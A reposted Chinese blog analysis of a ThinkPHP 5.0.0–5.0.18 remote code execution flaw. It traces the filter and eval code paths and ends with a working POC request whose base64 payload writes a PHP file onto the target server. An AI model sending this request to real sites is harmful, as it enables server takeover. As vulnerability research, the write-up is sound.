|
文章来源:CSDN博客(Y4tacker)
原文地址:
https://y4tacker.blog.csdn.net/article/details/115893304
前言
网上看到的POC,我详细分析了路由和poc,是对一个姿势的利用,比较骚的是::可以调用非静态方法以及set_error_handler的使用
Trick
比较骚的是我们一直以为php当中::只能调用静态方法,但是非静态一定条件下也能成功调用
成功输出123虽然有报错
class A{
public $a;
public function y4tacker(){
echo 123;
}
}
A::y4tacker();
失败
class A{
public $a;
public function y4tacker(){
$this->a = '123';
echo 123;
}
}
A::y4tacker();
分析
首先利用点是利用thinkphp/library/think/Request.php中的$value = call_user_func($filter, $value);来执行任意函数;
之后可以利用thinkphp/library/think/view/driver/Php.php当中的eval('?>' . $content);实现任意命令执行从而实现Shell的写入
再往上看,我们需要找到调用了filterValue方法的地方,在thinkphp/library/think/Request.php当中有
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
并且这个filter参数是由$filter = $this->getFilter($filter, $default);获取而来,我们跟踪这个函数
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
$this->{$this->method}($_POST);
因此我们回到正题,首先get传入的s=captcha&g=implode是为了设置dispatch为method,我们稍微跟一下这个过程的关键步骤
首先调用self::routeCheck($request, $config);,之后进入$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
他对data中每一个参数迭代运行fileter当中的方法
POC
URL地址:
url/public/?s=captcha&g=implode
path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3k0dGFja2VyLnBocCcsJzw/cGhwIHBocGluZm8oKTs/PicpOyA/Pg==&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=thinkviewdriverPhp::Display&method=GET
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读
欢 迎 私 下 骚 扰
原文始发于微信公众号(潇湘信安):ThinkPHP5.0.0-5.0.18 RCE另类利用姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论